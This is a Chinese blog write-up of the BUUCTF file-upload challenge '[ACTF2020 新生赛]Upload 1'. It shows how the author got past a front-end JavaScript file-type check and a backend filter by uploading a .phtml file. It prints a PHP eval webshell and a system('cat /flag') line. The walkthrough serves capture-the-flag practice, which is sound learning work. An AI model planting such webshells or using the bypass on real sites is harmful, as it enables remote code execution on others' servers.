

buuctf-web-[ACTF2020 新生赛]Upload 1-wp

原创

[southerose](#) 于 2020-11-11 16:00:47 发布 2525 收藏

分类专栏: [ctf记录](#)

><本博客上原创文章未经本人许可,不得用于商业用途。转载请注明出处,否则保留追究法律责任的权利。><

本文链接: https://blog.csdn.net/weixin_46439278/article/details/109624643

版权



[ctf记录](#) 专栏收录该内容

78 篇文章 5 订阅

订阅专栏

[ACTF2020 新生赛]Upload 1

知识点

- 文件上传前端校验
- .phtml的用法

过程



来到主页发现是一个文件上传的题目。

先随便上传一个文件试一试。

嘿伙计,你发现它了!

该文件不允许上传，请上传jpg、png、gif结尾的图片噢！

确定

https://blog.csdn.net/weixin_46439278

我上传了一个.php结尾的PHP一句话木马，可以看到被过滤了。审查一下元素。

```
onsubmit="return checkFile()">  
method="post" onsubmit="return checkFile()">  
event  
嘿伙计，你发现它了！  
<input class="input_file" type="file"  
name="upload_file">  
<input class="button" type="submit"  
name="submit" value="upload">
```

可以发现前端有一个事件，直接删除该事件。再上传一遍试一试。

nonono~ Bad file !

https://blog.csdn.net/weixin_46439278

发现还是不能传上去，后端肯定也做了过滤。我们可以创建一个test.phtml文件。

对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。

将以下代码写入该文件中。

```
<script language='php'>@eval($_POST['a']);</script>  
<script language='php'>system('cat /flag');</script>
```

继续上传test.phtml 可以看到flag